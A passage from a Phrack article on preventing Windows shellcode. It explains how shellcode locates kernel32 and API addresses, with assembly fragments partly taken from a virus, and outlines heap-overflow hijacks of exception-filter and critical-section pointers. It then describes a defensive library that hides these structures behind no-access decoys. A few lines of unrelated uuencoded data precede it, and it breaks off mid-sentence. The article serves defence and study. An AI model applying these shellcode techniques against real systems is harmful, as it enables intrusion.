.`]T,XX;.(])5F[2P'F@(WK*P'F@G^Z"@?-`YW?$T'E$#)U'HZ'S>-W0>?Q]
I9GSJ#%T'OL-G<<?#9W'H*'S&#=T'N/D//(Z#UMS'F$W%LYC7',>DYKSF-*<
QP7->43(>>3-)^?ACTV<AW,\.LYCTHV%\YARX]S.(W*%SF-"<Q[G->=AN[%P
'NKV7(W.PVD/YN(\@M;2.8_(,G,>D2+.XX*[?X7S*"?G0<Z#G`<Y#YIUA!(E
C2I0H4:)$B1(E2I0H4:)$B1(E2I0H4:*T".F_J8K7K0#P````
`
end
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x0f of 0x14

```
|=-----------------------------------------------------------------------=|
|=---------------=[ NT shellcodes prevention demystified ]=--------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[by Piotr Bania <bania.piotr@gmail.com>]=--------------=|
```

```
                                         What was alive is now dead;
                                              all that was beautiful
                                   is now the ugliness of devastation
                                      And yet I do not altogether die
                                         what is indestructible in me
                                                             remains!

                                              - Karol Wojtya,
                                                Sophie Arie in Rome

                        ...this short thing is dedicated to You - R.I.P
                                   ...a glorious era has already ended.
```

--[Contents

```
--[ I.    Introduction


Nowadays there are many exploit prevention mechanisms for windows but each
of them can by bypassed (according to my information). Reading this
article keep in mind that codes and information provided here will
increase security of your system but it doesn't mean you will be
completely safe (cut&paste from condom box user manual).


--[ II.   Known protections


Like I said before, today there exist many commercial prevention
mechanisms. Here we will get a little bit deeper inside of most common
ring3 mechanisms.


II.A   Hooking API functions and stack backtracing
--------------------------------------------------

Many nowadays buffer overflows protectors are not preventing the buffer
overflow attack itself, but are only trying to detect running shellcode.
Such BO protectors usually hook API functions that usually are used by
shellcode. Hooking can be done in ring3 (userland) or kernel level (ring0,
mainly syscalls and native api hooking). Lets take a look at example of
such actions:


stack backtracing
-----------------

Lets check the NGSEC stack backtracing mechanism, now imagine a call was
made to the API function hooked by NGSEC Stack Defender.

So when a call to any of hooked APIs is done, the main Stack Defender
mechanism stored in proxydll.dll will be loaded by the hooked function
stored in .reloc section. Then following tests will be done:


Generally this comes up as params for the proxydll function (all of the
arguments are integers):
assume:  argument 1 = [esp+0ch] - its "first" passed argument to the
                      function this is always equal to the stack address
                      0xC bytes from the ESP.
         argument 2 = address from where hooked api was called
         argument 3 = some single integer (no special care for this one)
         argument 4 = stack address of given param thru hooked API call


MAIN STEPS:
- I.    - execute VirtualQuery [1] on [esp+0Ch] (stack address)-LOCATION1
- II.   - execute VirtualQuery [1] on call_ret address - LOCATION2
- III.  - if LOCATION1 allocation base returned in one of the members of
          MEMORY_BASIC_INFORMATION [2] is equal to the LOCATION2
          allocation base then the call is comming for the stack space.
          Stack Defender kills the application and reports attack probe to
          the user. If not next step is executed.
- IV.   - call IsBadWritePtr [3] on location marked as LOCATION2 (addres
          of caller). If the API returns that location is writeable Stack
          Defender finds it as a shellcode and kills the application. If
          location is not writeable StackDefender executes the original
          API.




hooking exported API functions
------------------------------
```

When module exports some function it means that it's making this fuction usable for other modules. When such function is exported, PE file includes an information about exported function in so called export section. Hooking exported function is based on changing the exported function address in AddressOfFunctions entry in the export section. The great and one of the first examples of such action was very infamous i-worm.Happy coded by french virus writter named as Spanska. This one hooks send and connects APIs exported from WSOCK32.DLL in order to monitor all outgoing messages from the infected machine. This technique was also used by one of the first win32 BO protectors - the NGSEC's Stack Defender 1.10. The NGSEC mechanism modifies the original windows kernel (kernel32.dll) and hooks the following functions:

(the entries for each of the exported functions in EAT (Export Address Table) were changed, each function was hooked and its address was "repointed" to the .reloc section where the filtering procedure will be executed)

- WinExec
- CreateProcessW
- CreateProcessA
- LoadLibraryExA
- LoadLibraryExW
- OpenFile
- CreateThread
- CreateRemoteThread
- GetProcAddress
- LoadModule
- CreateFileA
- CreateFileW
- _lopen
- _lcreat
- CopyFileA
- CopyFileW
- CopyFileExA
- CopyFileExW
- MoveFileA
- MoveFileExW
- LockFile
- GetModuleHandleA
- VirtualProtect
- OpenProcess
- GetModuleHandleW
- MoveFileWithProgressA
- MoveFileWithProgressW
- DeleteFileA

inline API hooking

This technique is based on overwritting the first 5 bytes of API function with call or unconditional jump.

I must say that one of the first implementations of such "hooking" technique (well i don't mean the API hooking method excatly) was described by GriYo in [12]. The feature described by GriYo was named "EPO" - "Entry-point Obscuring". Instead of changing the ENTRYPOINT of PE file [9] GriYo placed a so called "inject",a jump or call to virus inside host code but far away from the file entry-point. This EPO technique makes a virus detection much much harder...

Of course the emulated bytes must be first known by the "hooker". So it generally must use some disassembler engine to determine instructions length and to check its type (i think you know the bad things can happen if you try to run grabbed call not from native location). Then those instructions are stored locally and after that they are simply executed (emulated). After that the execution is returned to native location. Just like the schema shows.

Inline API hooking feature is also present in Detours library developed by Microsoft [4]. Here is the standard sample how hooked function looks like:

```
        BEFORE:
        ;----------SNIP--------------------------------------------
        CreateProcesA:          push ebp                ; 1 bytes
                                mov ebp,esp             ; 2 bytes
                                push 0                  ; 2 bytes
                                push dword ptr [ebp+2c]
                                ...
        ;----------SNIP--------------------------------------------

        AFTER (SCHEMA):
        ;----------SNIP--------------------------------------------
        CreateProcessA:         jmp hooked_function
        where_ret:              push dword ptr [ebp+2c]
                                ...


        hooked_function:        pushfd                  ; save flags
                                pushad                  ; save regs
                                call do_checks          ; do some checks
                                popad                   ; load regs
                                popfd                   ; loadflags

                                push ebp                ; emulation
                                mov ebp,esp             ; of original
                                push 0                  ; bytes

                                push offset where_ret   ; return to
                                ret                     ; original func.


        ;----------SNIP--------------------------------------------
```

Such type of hooking method was implemented in Okena/CSA and Entercept commercial mechanisms. When the hooked function is executed, BO prevention mechanism does similiar checks like in described above.

However BO preventers that use such feature can be defeat easily. Because I don't want to copy other phrack articles I suggest you looking at "Bypassing 3rd Party Windows Buffer Overflow Protection" [5] (phrack#62). It is a good article about bypassing such mechanisms.

II.B Security cookie authentication (stack protection)

This technique was implemented in Windows 2003 Server, and it is very often called as "build in Windows 2003 Server stack protection". In Microsoft Visual C++ .NET Microsoft added a "/GS" switch (default on) which place security cookies while generating the code. The cookie (or canary) is placed on the stack before the saved return address when a function is called. Before the procedure returns to the caller the security cookie is checked with its "prototype" version stored in the .data section. If the buffer overflow occurs the cookie is overwritten and it mismatches with the "prototype" one. This is the sign of buffer overflow.

Bypassing this example was well documented by David Litchfield so I advice you to take a look at the lecture [6].

II.C Additional mechanisms - module rebasing

When we talk about buffer overflow prevention mechanism we shouldn't forget about so called "module rebasing". What is the idea of this technique? Few chapters lower you have an example code from "searching for kernel in memory" section, there you can find following variables:

```
        ;----------SNIP--------------------------------------------
        ; some of kernel base values used by Win32.ls
        _kernells           label
        dd 077e80000h - 1   ;NT 5
        dd 0bff70000h - 1   ;w9x
        dd 077f00000h - 1   ;NT 4
        dd -1
        ;----------SNIP--------------------------------------------
```

Like you probably know only these kernel locations in the table will be searched, what happens if shellcode doesn't know the imagebase of needed module (and all the search procedures failed)? Answer is easy shellcode can't work and it quits/crashes in most cases.

How the randomization is done? Generally all PE files(.exe/.dlls etc. etc) have an entry in the PE record (offset 34h) which contains the address where the module should be loaded. By changing this value we are able to relocate the module we want, of course this value must be well calculated otherwise your system can be working incorrectly.

Now, after little overview of common protections we can study the shellcode itself.

--[III. What is shellcode and what it "must do"

For those who don't know: Shellcode is a part of code which does all the dirty work (spawns a shell / drops trojans / bla bla) and it's a core of exploit.

What windows shellcode must do? Lets take a look at the following sample schema:

1) - getting EIP
2) - decoding loop if it's needed
3) - getting addresses of kernel/needed functions
4) - spawning a shell and all other dirty things

If you read assumptions (point II) and some other papers you will probably know that there is no way to cut third point from shellcode schema. Every windows shellcode must obtain needed data and that's a step we will try to detect.

Of course shellcode may use the hardcoded kernel value or hardcoded API values. That doesn't mean that shellcode will be not working, but generally things get harder when attacker doesn't know the victim machine (version of operating system - different windows = different kernel addresses) or when the victim machine works with some protection levels like image base rebasing. Generally hardcoding those values decreases the success level of the shellcode.

--[IV.   Getting addresses of kernel/needed functions - enemy study

This chapter describes shortly most common methods used in shellcodes. To dig more deeply inside the stuff I advice you to read some papers from the Reference section

--[IV.A   - getting kernel address (known mechanisms)

IV.A.A - PEB (Process Environment Block) parsing

PEB (Process Environment Block) parsing - the following method was first introduced by the guy called Ratter [7] from infamous 29A group. By parsing the PEB_LDR_DATA we can obtain information about all currently loaded modules, like following example shows:

```
;----------SNIP--------------------------------------------

mov eax,dword ptr fs:[30h]      ; EAX is now PEB base
mov eax,dword ptr [eax+0ch]     ; EAX+0Ch = PEB_LDR_DATA
mov esi,dword ptr [eax+1ch]     ; get the first entry

mov ebx,[esi+08h]               ; EBX=ntdll imagebase

module_loopx:
lodsd
mov ebx,[eax+08h]               ; EBX=next dll imagebase
test ebx,ebx
jz @last_one_done
int 3
mov esi,eax                     ; continue search
jmp module_loopx

;----------SNIP---------------------------------------------
```

IV.A.B - searching for kernel in memory
----

searching for kernel in memory - this example scans/tries different kernel locations (for different windows versions) and searches for MZ and PE markers, the search progress works together with SEH frame to avoid access violations.

Here is the example method (fragment of Win32.ls virus):

```
;----------SNIP--------------------------------------------

cld
lea esi,[ebp + offset _kernells - @delta] ; load the kernel
                                          ; array

@nextKernell:
lodsd                 ; load on base to EAX
push esi              ; preserve ESI (kernel array location)
inc eax               ; is this the last one ? (-1+1=0)
jz @bad               ; seems so -> no kernel base matched

push ebp              ; preserve EBP (delta handler)
call @kernellSEH      ; check the loaded base

mov esp,[esp + 08h]   ; restore the stack

@bad1:
pop dword ptr fs:[0]  ; restore old SEH frame
pop eax               ; normalize the stack
pop ebp               ; load delta handle
pop esi               ; go back to kernel array
jmp @nextKernell      ; and check another base

@bad:
pop eax               ; no kernel found, virus
jmp @returnHost       ; returning to host

; some of kernel base values used by Win32.ls
_kernells            label
dd 077e80000h - 1    ;NT 5
dd 0bff70000h - 1    ;w9x
dd 077f00000h - 1    ;NT 4
```

```
        dd -1

        @kernellSEH:
        push dword ptr fs:[0]         ; setup new SHE handler
        mov dword ptr fs:[0],esp
        mov ebx,eax                   ; EBX=imagebase
        xchg eax,esi
        xor eax,eax
        lodsw                         ; get first 2 bytes from imagebase
        not eax                       ; is it MZ?
        cmp eax,not 'ZM'              ; compare
        jnz @bad1                     ; it isn't check next base
        mov eax,[esi + 03ch]          ; MZ is found now scan for PE sign
        add eax,ebx                   ; normalize (RVA2VA)
        xchg eax,esi
        lodsd                         ; read 4 bytes
        not eax
        cmp eax,not 'EP'              ; is it PE?
        jnz @bad1                     ; nope check next base

        pop dword ptr fs:[0]          ; return (setup) old SEH
        pop eax ebp esi               ; clear stack
                                      ; EBX is now valid kernel base

        ;----------SNIP--------------------------------------------
```

--[IV.B - getting API addresses (known methods)

IV.B.A - export section parsing
----

export section parsing - when the module (usually kernel32.dll) base is located, shellcode can scan export section and find some API functions needed for later use. Usually shellcode is searching for GetProcAddress() function address, then it is used to get location of the others APIs.

Following code parses kernel32.dll export section and gets address of GetProcAddress API:

```
        ;----------SNIP--------------------------------------------
        ; EAX=imagebase of kernel32.dll

        xor ebp,ebp                   ; zero the counter
        mov ebx,[eax+3ch]             ; get pe header
        add ebx,eax                   ; normalize

        mov edx,[ebx+078h]            ; export section RVA
        add edx,eax                   ; normalize

        mov ecx,[edx+020h]            ; address of names
        add ecx,eax                   ; normalize
        mov esi,[edx+01ch]            ; address of functions
        add esi,eax                   ; normalize

        loop_it:
        mov edi,[ecx]                 ; get one name
        add edi,eax                   ; normalize
        cmp dword ptr [edi+4],'Acor'  ; is it GetP-rocA-ddress ?? :)
        jne @l                        ; nope -> jump to @l

                                      ; yes it is
        add esi,ebp                   ; add out counter
        mov esi,[esi]                 ; get the address
        add esi,eax                   ; normalize
        int 3                         ; ESI=address of GetProcAddress

        @l:
        add ecx,4                     ; to next name
```

```
        add ebp,4                       ; update counter (dwords)
        jmp loop_it                     ; and loop it again

        ;----------SNIP--------------------------------------------
```

IV.B.B - import section parsing
----

import section parsing - 99% of hll applications import GetProcAddress/LoadLibraryA, it means that their IAT (Import Address Table) includes address and name string of the mentioned functions. If shellcode "knows" the imagebase of target application it can easily grab needed address from the IAT.

Just like following code shows:

```
        ;----------SNIP--------------------------------------------
        ;following example gets LoadLibraryA address from IAT

        IMAGEBASE              equ 00400000h

        mov ebx,IMAGEBASE
        mov eax,ebx
        add eax,[eax+3ch]                       ; PE header

        mov edi,[eax+80h]                       ; import RVA
        add edi,ebx                             ; normalize
        xor ebp,ebp

        mov edx,[edi+10h]                       ; pointer to addresses
        add edx,ebx                             ; normalize

        mov esi,[edi]                           ; pointer to ascii strings
        add esi,ebx                             ; normalize

        @loop:
        mov eax,[esi]
        add eax,ebx
        add eax,2
        cmp dword ptr [eax],'daoL'              ; is this LoadLibraryA?
        jne @l

        add edx,ebp                             ; normalize
        mov edx,[edx]                           ; edx=address of
        int 3                                   ; LoadLibraryA

        @l:
        add ebp,4                               ; increase counter
        add esi,4                               ; next name
        jmp @loop                               ; loop it

        ;----------SNIP--------------------------------------------
```

After this little introduction we can finally move to real things.

--[V. New prevention techniques

While thinking about buffer overflow attacks I've noticed that methods from chapter IV are most often used in shellcodes. And thats the thing I wanted to prevent, I wanted to develop prevention technique which acts in very early stage of shellcode execution and here are the results of my work:

Why two Protty libraries / two techniques of prevention?

When I have coded first Protty (P1) library it worked fine except some Microsoft products like Internet Explorer, Explorer.exe (windows manager) etc. in thoose cases the prevention mechanisms eat all cpu.
I simply got nervous and I have rebuilt the mechanisms and that's how second Protty (P2) library was born. Im describing them both because everything that gives any bit of knowledge is worth describing :) Anyway Im not saying the second one is perfect each solution got its bad and good points.

What I have done - the protection features:
- protecting EXPORT section - protecting function addresses array (any exe/dll library)
- IAT RVA killer (any exe/dll library)
- protecting IAT - protecting functions names array (any exe/dll library)
- protecting PEB (Process Environment Block)
- disabling SEH/Unhandled Exception Filter usage
- RtlEnterCrticialSection pointer protector

NOTE: All those needed pointers (IMPORT/EXPORT sections) are found in similiar way like in IVth chapter.

FEATURE: EXPORT SECTION PROTECTION (protecting "function addresses array")

Every shellcode that parses EXPORT section (mainly kernel32.dll one) want to get to exported function addresses, and that's the thing I tried to block, here is the technique:

Algorithm/method for mechanism used in Protty1 (P1):
----

1. Allocate enough memory to handle Address Of Functions table from the export section.

   Address of Function table is an array which cointains addresses of exported API functions, like here for KERNEL32.DLL:

   D:\>tdump kernel32.dll kernel32.txt & type kernel32.txt

```
(...snip...)
Name                  RVA       Size
------------------  --------  --------
Exports             0006D040  00006B39
(...snip...)


Exports from KERNEL32.dll
942 exported name(s), 942 export addresse(s).  Ordinal base is 1.

Ordinal RVA       Name
------- --------  ----
0000    000137e8  ActivateActCtx
0001    000093fe  AddAtomA
0002    0000d496  AddAtomW
0003    000607c5  AddConsoleAliasA
0004    0006078e  AddConsoleAliasW
0005    0004e0a1  AddLocalAlternateComputerNameA
0006    0004df8c  AddLocalAlternateComputerNameW

(...snip...)
```

   Where RVA values are entries from Address of Functions table, so if first exported symbol is ActivateActCtx, first entry of Address of Function will be its RVA. The size of Address of Functions table depends on number of exported functions.

All those IMPORT / EXPORT sections structures are very well documented in Matt Pietrek, "An In-Depth Look into the Win32 Portable Executable File Format" paper [9].

2. Copy original addresses of functions to the allocated memory.
3. Make original function addresses entries writeable.
4. Erase all old function addresses.
5. Make erased function addresses entries readable only.
6. Update the pointer to Address of Functions tables and point it to our allocated memory:
   - Make page that contains pointer writeable.
   - Overwrite with new location of Address of Function Table
   - Make page that contains pointer readable again.

7. Mark allocated memory (new function addresses) as PAGE_NOACCESS.

   We couldn’t directly set the PAGE_NOACCESS protection to original function addresses because some other data in the same page must be also accessible (well SAFE_MEMORY_MODE should cover all cases even when protection of original page was changed to PAGE_NOACCESS - however such action increases CPU usage of the mechanism). The best way seems to be to allocate new memory region for it.

   What does the PAGE_NOACCESS protection? :

   - PAGE_NOACCESS disables all access to the committed region of pages. An attempt to read from, write to, or execute in the committed region results in an access violation exception, called a general protection (GP) fault.

   Now all references to the table with function addresses will cause an access violation exception, the description of the exception checking mechanism is written in next chapter ("Description of mechanism implemented in ...").

Just like the schema shows (A. - stands for "address"):

```
 --- SNIP --- START OF SCHEMA. 1a

    SOME PE MODULE
  ------------------
 |  export section  |
 |------------------|
 |       start      |        + imagebase
 |       (...)      |        -----------> OLD ARRAY WITH FUNCTIONS ADDRS
 |------------------|       |
 | NUMBER OF NAMES  |       |
 |------------------|BEFORE^|  AFTER>
 | A. OF FUNCTIONS  |-------------------
 |------------------|         + --//--  |
 | A. OF NAMES      |                   |   (NEWLY ALLOCATED MEMORY)
 |------------------|                    -> NEW ARRAY WITH FUNCTIONS ADDRS
 | A. OF ORDINALS   |                                |
 |------------------|                         -----------------
 |       (...)      |                        | function 1 addr | /  PAGE
 |        end       |                        | function 2 addr |-    NO
  ------------------                         | ...             | \ ACCESS
                                              -----------------    RIGHTS

                                  ALL FUNCTION ADDRESSES IN OLD ARRAY
                                  WERE PERMANENTLY OVERWRITTEN WITH NULL!
```

--- SNIP --- END OF SCHEMA. 1a

Algorithm/method for mechanism used in Protty2 (P2):
----

1. Allocate enough memory to handle Address Of Functions table from
   the export section.
2. Copy original addresses to the allocated memory.
3. Make original function addresses entries writeable.
4. Erase all old function addresses.
5. Make erased function addresses entries readable only.
6. Make pointer to Address Of Functions writeable.
7. Allocate small memory array for decoy (with PAGE_NOACCES rights).
8. Write entry to protected region lists.
8. Update the pointer to Address Of Functions and point it to our
   allocated decoy.
9. Update protected region list (write table entry)
10.Make pointer to Address Of Function readable only.

--- SNIP --- START OF SCHEMA. 1b

```
    SOME PE MODULE
  ------------------
 |  export section  |
 |------------------|
 |      start       |        + imagebase
 |      (...)       |        -----------> OLD ARRAY WITH FUNCTIONS ADDRS
 |------------------|       |
 | NUMBER OF NAMES  |       |
 |------------------|BEFORE^|  AFTER>
 | A. OF FUNCTIONS  |-------------------
 |------------------|         + --//--  |
 | A. OF NAMES      |                   |       ------------ /PAGENOACCESS
 |------------------|                    ->     |    DECOY   |-    RIGHTS
 | A. OF ORDINALS   |                           ------------ \
 |------------------|
 |      (...)       |                   Somewhere in memory:
 |       end        |                   (allocated memory with functions
  ------------------                     address entries):
                                                ||
                                         -----------------
                                        | function 1 addr |
                                        | function 2 addr |
                                        | ...             |
                                         -----------------

                                  ALL FUNCTION ADDRESSES IN OLD ARRAY
                                  WERE PERMANENTLY OVERWRITTEN WITH NULL!
```

--- SNIP --- END OF SCHEMA. 1b

What have I gained by switching from the first method (real arrays) to the second one (decoys)?

The answer is easy. The first one was pretty slow solution (all the time i needed to deprotect the region and protect is again) in the second one i don’t have to de-protect and protect the real array, the only thing i need to do is update the register value and make it point to the orginal requested body.

FEATURE: IMPORT SECTION PROTECTION (protecting "functions names array" +
------- IAT RVA killer)

IAT RVA killer mechanism for both Protty1 (P1) and Protty2 (P2)

All actions are similar to those taken in previous step, however here we are redirecting IMPORTS function names and overwriting IAT RVA (with pseudo random value returned by GetTickCount - bit swapped).

And here is the schema which shows IAT RVA killing:

```
 --- SNIP --- START OF SCHEMA. 2


    SOME PE MODULE
  ------------------
 |    NT HEADER     |
 |------------------|
 |      start       |          + imagebase
 |      (...)       |         ------------> MODULE IMPORT SECTION
 |------------------|        |
 | EXPORT SIZE      |        |
 |------------------| BEFORE^|    AFTER>
 | IMPORT RVA       |---------------------> NO EXISTING LOCATION (*)
 |------------------|          + --//--
 | IMPORT SIZE      |
 |------------------|
 |      (...)       |
 |       end        |
  ------------------


  (*) - the IMPORT RVA is overwritten with value returned by GetTickCount
        swaped one time, generally it's kind of idiotic action because
        many of you can assume such operation can give a drastic effect
        with application stability. Well you are wrong, overwritting the
        IMPORT RVA >after< successful loading of any pe module has no
        right to cause instability (atleast it worked in my case, remeber
        this is windows and you are messing a lot ...)


 --- SNIP --- END OF SCHEMA. 2
```

And here's the one describing protecting "functions names array", for Protty1 (P1):

```
 --- SNIP --- START OF SCHEMA. 3a


    SOME PE MODULE
  ------------------
 |  import section  |             +blabla
 |------------------|            ----------> ARRAY OF FUNCTION NAMES
 |       start      |           |
 |       (...)      |           |
 |------------------|  BEFORE^  |   AFTER>
 | A. OF NAMES      |----------------------> (NEWLY ALLOCATED MEMORY)
 |------------------|             +blabla    NEW ARRAY OF FUNCTION NAMES
 |      (...)       |                                |
 |       end        |                         -----------------
  ------------------                         | "Function1",0   |/  PAGE
                                             | "Function2",0   |-   NO
                                             | "Function3",0   |\ ACCESS
                                              -----------------   RIGHTS


                              ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY
                              WERE PERMANENTLY OVERWRITTEN BY NULL
```

```
 NOTE: I have choosed Address Of Names array, because it is much less
       accessed memory region than Address Of Functions array - so
       less CPU consumption (but bit more unsecure - you can do it
       yourself).


 --- SNIP --- END OF SCHEMA. 3a
```

And here’s the one describing protecting "functions names array", for
Protty1 (P2):

```
 --- SNIP --- START OF SCHEMA. 3b


    SOME PE MODULE
  ------------------
 |  import section  |            +blabla
 |------------------|           ----------> ARRAY OF FUNCTION NAMES
 |      start       |           |
 |      (...)       |           |
 |------------------|  BEFORE^  |   AFTER>    ------------- /  PAGE
 | A. OF NAMES      |-----------------------> |    DECOY    |-NO ACCESS
 |------------------|            +blabla      ------------- \ RIGHTS
 |      (...)       |
 |      end         |
  ------------------                 Somewhere in memory:
                                     (allocated memory with original
                                      function names):
                                            ||
                                     -----------------
                                    | "Function1",0   |
                                    | "Function2",0   |
                                    | "Function3",0   |
                                     -----------------


                               ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY
                               WERE PERMANENTLY OVERWRITTEN BY NULL

 --- SNIP --- END OF SCHEMA. 3b
```

FEATURE: PEB (Process Environment Block) protection (PEB_LDR_DATA)

Algorithm/method for mechanism used in Protty1 (P1):
----
1. Get PEB_LDR_DATA [7] structure location
2. Update the region list
3. Mark all PEB_LDR_DATA [7] structure as PAGE_NO_ACCESS

```
 --- SNIP --- START OF SCHEMA. 4a

  ------------------
 |   PEB_LDR_DATA   |\
 |      ....        |---- NOW MARKED WITH PAGE_NOACCESS.
 |      ....        |/
  ------------------

 --- SNIP --- END OF SCHEMA. 4a
```

Algorithm/method for mechanism used in Protty2 (P2):
----
1. Get InInitializationOrderModuleList [7] structure location
2. Write table entry (write generated faked address)
3. Write table entry (write original location of InInitOrderML...)
4. Change the pointer to InInitializationOrderModuleList, make it
   point to bad address.

Here is the schema (ML stands for ModuleList):

```
 --- SNIP --- START OF SCHEMA. 4b

    [PEB_LDR_DATA]:

   ------------------
  |     Length       |
  |------------------|
  |   Initialized    |
  |------------------|          --------------------------
  |     SsHandle     |         |LIST_ENTRY InInit.OrderML |
  |------------------|      .--------> |                          |
  |  InLoadOrderML   |      |     --------------------------
  |------------------|      |
  | InMemoryOrderML  |      |
  |------------------| BEFORE^ | AFTER>
  |  InInit.OrderML  |-------------------->     RANDOM MINUS VALUE
  |------------------|                         (not existing location)
   ------------------


 NOTE:  why MINUS VALUE? Generally I choose minus one because there
        is no minus valid location and this will generate a exception
        for sure, anyway this value can be changed and we can add a DECOY
        memory area like in upper cases (but in this case region size
        should be bigger). Minus value can be used for shellcodes to
        find protection occurency - however if anybody wanna play...


 --- SNIP --- END OF SCHEMA. 4b
```

FEATURE: Disabling SEH / Unhandled Exception Filter pointer usage.

Description for both Protty1 (P1) and Protty 2 (P2)

Every time access violation exception occurs in protected program,
prevention mechanism tests if the currently active SEH frame points
to writeable location, if so Protty will stop the execution.

If UEF_HEURISTISC is set to TRUE (1) Protty will check that actual
set Unhandled Exception Filter starts with prolog (push ebp/mov ebp,esp)
or starts with (push esi/mov esi,[esp+8]) otherwise Protty will kill
the application. After this condition Protty checks that currently
active Unhandled Exception Filter is writeable if so application
is terminated (this also stands out for the default non heuristisc
mode).

Why UEF? Unhandled Exception Filter is surely one of the most used
methods within exploiting windows heap overflows. The goal of this
method is to setup our own Unhandled Filter, then when any unhandled
exception will occur attackers code can be executed. Normally attacker
tries to set UEF to point to call dword ptr [edi+78h], because
78h bytes past EDI there is a pointer to the end of the buffer.
To get more description of this exploitation technique check point [8]
from Reference section.

NOTE: Maybe there should be also a low HEURISTICS mode with
      jmp dword ptr [edi+78h] / call dword ptr [edi+78h] occurency
      checker, however the first one covers them all.

FEATURE: RtlEnterCrticialSection pointer protector

Description for both Protty1 (P1) and Protty 2 (P2)

Like in above paragraph, library checks if pointer to RtlEnterCriticalSection pointer has changed, if it did, prevention library immediately resets the original pointer and stops the program execution.

RtlEnterCritical pointer is often used in windows heap overflows exploitation.

Here is the sample attack:

```
        (sample scenerio of heap overflow)
        ;----------SNIP--------------------------------------------
        ; EAX, ECX are controled by attacker
        ; assume:
        ; ECX=07FFDF020h (RtlEnterCrticialSection pointer)
        ; EAX=location where attacker want to jump

        mov     [ecx],eax               ; overwrites the pointer
        mov     [eax+0x4],ecx           ; probably causes access
                                        ; violation
                                        ; if so the execution is
                                        ; returned to "EAX"

        ;----------SNIP--------------------------------------------
```

You should also notice that even when the access violation will not occur it doesn’t mean attackers code will be not excuted.
Many functions (not directly) are calling RtlEnterCriticalSection (the address where 07FFDF020h points), so attacker code can be executed for example while calling ExitProcess API. To find more details on this exploitation technique check point [10] from Reference section.

FEATURE: position independent code, running in dynamicaly allocated memory
----

Protty library is a position independent code since it uses so called "delta handling". Before start of the mechanism Protty allocates memory at random location and copy its body there, and there it is executed.

What is delta handling? Lets take a look at the following code:

```
        ;----------SNIP--------------------------------------------
        call delta                      ; put delta label offset on the
                                        ; stack
        delta:  pop ebp                 ; ebp=now delta offset
                sub ebp offset delta    ; now sub the linking value of
                                        ; "delta"
        ;----------SNIP--------------------------------------------
```

As you can see delta handle is a numeric value which helps you with addressing variables/etc. especially when your code do not lay in native location.

Delta handling is very common technique used by computer viruses. Here is a little pseudo code which shows how to use delta handling with addressing:

```
        ;----------SNIP--------------------------------------------
        ;ebp=delta handle
        mov eax,dword ptr [ebp+variable1]
        lea ebx,[ebp+variable2]
        ;----------SNIP--------------------------------------------
```

Of course any register (not only EBP) can be used :)

The position independent code was done to avoid easy disabling/patching by the shellcode itself.

```
-------------------------------------------------------------------------
        |Description of mechanism implemented in Protty1 (P1)|
-------------------------------------------------------------------------
```

NOTE: That all features written here were described above.
      You can find complete descriptions there (or links to them).

Mechanism takeovers the control of KiUserExceptionDispatcher API (exported by NTDLL.DLL) and that's where the main mechanism is implemented. From that point every exception (caused by program) is being filtered by our library. To be const-stricto, used mechanism only filters all Access Violations exceptions. When such event occurs Protty first checks if the active SEH (Structured Exception Handler) frame points to good location (not writeable) if the result is ok it continues testing, otherwise it terminates the application. After SEH frame checking, library checks the address where violation came from, if its bad (writeable) the program is terminated. Then it is doing the same with pointer to Unhandled Exception Filter. Next it checks if pointer to RtlEnterCriticalSection was changed (very common and useful technique for exploiting windows based heap overflows) and kills the application if it was (of course the pointer to RtlEnterCriticalSection is being reset in the termination procedure). If application wasn't signed as BAD and terminated so far, mechanism must check if violation was caused by reference to our protected memory regions, if not it just returns execution to original handler. Otherwise it checks if memory which caused the exception is stored somewhere on the stack or is writeable. If it is, program is terminated. When the reference to protected memory comes from GOOD location, mechanism resets protection of needed region and emulates the instruction which caused access violation exception (im using z0mbie's LDE32 to determine instruction length), after the emulation, library marks requested region with PAGE_NOACCESS again and continues program execution. That's all - for more information check the source codes attached and test it in action. (Take a look at the "catched shellcodes" written in next section)

In the time of last add-ons for the article, Phrack stuff noticed me that single stepping will be more good solution. I must confess it really can do its job in more fast way. I mark it as TODO.

Few words about the emulation used in P1:

Generally I have two ways of doing it. You already know one. I'm going to describe another one now.

Instead of placing jump after instruction that caused the access violation exception I could emulate it locally, it's generally more slower/faster more weird (?), who cares (?) but it should work also. Here is the short description of what have to be done:

```
(optional algorithm replacement for second description written below)
STEP 1   - Get instruction length, copy the instruction to local buffer
STEP 2   - Deprotect needed region
STEP 3   - Change the contexts, of course leave the EIP alone :)) save
           the old context somewhere
STEP 4   - Emulate the instruction
STEP 5   - Update the "target" context, reset old context
STEP 6   - Protect all regions again
STEP 7   - continue program execution by NtContinue() function
```

And here is the more detailed description of currently used instruction emulation mechanism in Protty:

```
STEP 1   - Deprotect needed region
STEP 2   - Get instruction length
STEP 3   - Make the location (placed after instruction) writeable
STEP 4   - Save 7 bytes from there
STEP 5   - Patch it with jump
STEP 6   - use NtContinue() to continue the execution, after executing
           the first instruction, second one (placed jump) returns
           the execution to Protty.
STEP 7   - Reset old 7 bytes to original location (un-hooking)
STEP 8   - Mark the location (placed after instruction) as
           PAGE_EXECUTE_READ (not writeable)
STEP 9   - Protect all regions again, return to "host"



-------------------------------------------------------------------------
        |Description of mechanism implemented in Protty2 (P2)|
-------------------------------------------------------------------------
```

The newer version of Protty library (P2) also resides in KiUserExceptionDispatcher,where it filters all exceptions like the previous version did. So the method of SEH/UEF protection is the same as described in Protty1. What is the main difference? Main difference is that current mechanism do not emulate instruction and do not deprotect regions. It works in completely different way. When some instruction (assume it is GOOD - stored in not writeable location) tries to access protected region it causes access violation. Why so? Because if you remember the ascii schemas most of them point to DECOY (which is not accessible memory) or to a minus memory location (invalid one). This causes an exception, normally as described earlier the mechanism should de-prot the locations and emulate the intruction, but not in this case. Here we are checking what registers were used by the instruction which caused fault, and then by scanning them we are checking if any of them points somewhere inside "DECOYS" offsets.

How the mechanism know whats registers are used by instruction!?

To understand how the prevention mechanism works, the reader should know about so called "opcode decoding", this !IS NOT! the full tutorial but it describes the main things reader should know (for more check www.intel.com or [8]). I would also like to thank Satish K.S for supporting me with great information which helped me to make the "tutorial" suitable for human beings (chEERs ricy! :))

The instructions from Intel Architecture are encoded by using subsets of the general machine instruction format, like here:

```
